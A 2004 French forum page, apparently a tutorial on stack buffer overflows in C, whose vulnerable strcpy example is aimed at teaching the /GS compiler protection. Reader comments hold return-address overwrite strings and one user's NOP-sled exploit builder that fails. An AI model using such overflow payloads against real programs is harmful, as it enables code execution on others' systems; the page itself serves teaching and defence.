Soit un programme mal écrit, qui ne se protège pas contre les débordements de pile.
On va successivement voir comment ce programme :
I) Peut planter
II) Peut exécuter du code spécifié par lutilisateur
III) Pourrait être corrigé
IV) Peut encore être « patché »
V) Devrait enfin utiliser loption /GS du compilateur de VS7 ou équivalent pour dautres compilateurs
Source / Exemple :
le point de départ est ce petit code :
void MalEcrite(const char* entree)
{
char buf[10];// ce buffer est limité à 10 caractères, soient 9 utiles !
//copions tout ce qui se présente sans contrôle ... copieusement quoi !
strcpy(buf, input);
printf("voici mon buffer :\n%s\n\n", buf);
}
Conclusion :
Cet article est dans la catégorie Sécurité.
Pour nous simplifier la compréhension, bien respecter les principes suivants :
1) le code sera compilé sans les nouvelles options de sécurité du compilateur Visual Studio .NET
2) nous allons utiliser une version "Release" sans optimisation de code
3) nous allons afficher les adresses utiles pour mieux pouvoir les introduire en entrée.
22 févr. 2004 à 12:27
Excellente source pour comprendre le fonctionnement de la pile sans faire appel a un desasm !
Mais j'ai personnellement du modifié la ligne de 03_execsortie.vbs "arg" par une a moi :
arg = "123456789123" & chr(&h50) & chr(&h10) & chr(&h40)
La ca "marche bien". J'ai juste remarqué que comparéé à la "phrase" originale, il y avait 3 caracteres en moins (4,5,6).
J'avoue ne pas trop comprendre pourquoi ce sont les carateres 4,5,6 qui prennent la place de EIP et non 7,8,9
Pouquoi ?
merci
22 févr. 2004 à 14:30
Options d'optimisations "disabled"
quel compilateur utilise tu?
22 févr. 2004 à 15:15
Lors de mon premier message, mes options d'optimisations étaient sur "maximize speed".
A présent, j'ai coché "disable (debug)" ("défaut" ne me donne rien).
Et la j'ai du faire d'autres modifications dans le fichier 03....vbs :
arg = "123456789123456" & chr(&h50) & chr(&h10) & chr(&h40)
passe a
arg "1234567891234567" & chr(&h45) & chr(&h10) & chr(&h40)
> adresse de Sortie a changée.
J'avoue ne pas comprendre le pourquoi du comment de ces changements.
Sinon, une question me tracasse :
- Pourquoi l'adresse de Sortie() est-elle censé etre la meme partout (avec les memes options de compil' elle est identique sur tous les pcs fonctionnant sous win32) ?
merci
13 mars 2004 à 18:19
moi g un ti problem avec le mien je fait pointer EIP vers ESP mais je recois toujours une erreure de BO et il execute pas mon shell-code
#include <stdio.h>
#define BUFFSIZE 32
char shellcode[]="\x90\x90";
char ret[]="\x46\x12\x40";
int main(int argc, char *argv[])
{
char buffer[70];
int len,i,size,retlen,SIZE;
size = strlen(shellcode);
len = BUFFSIZE - size;
retlen = strlen(ret);
for(i=0;i<=len;i++){
buffer[i] = '\x90';
}
for(i=0;i<=size;i++){
buffer[i + len] = shellcode[i];
}
for(i=0;i<=4;i++){
buffer[i + len + size] = '\x90' ;
}
for(i=0;i<=4;i++){
buffer[i + len + size + 4] = ret[i];
}
printf("%s",buffer);
getchar();
return 0;
}
bon ok g changer mon shell-code pour des NOPs mais bon ca ne marche pas quand meme ....helpp
13 mars 2004 à 18:31
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.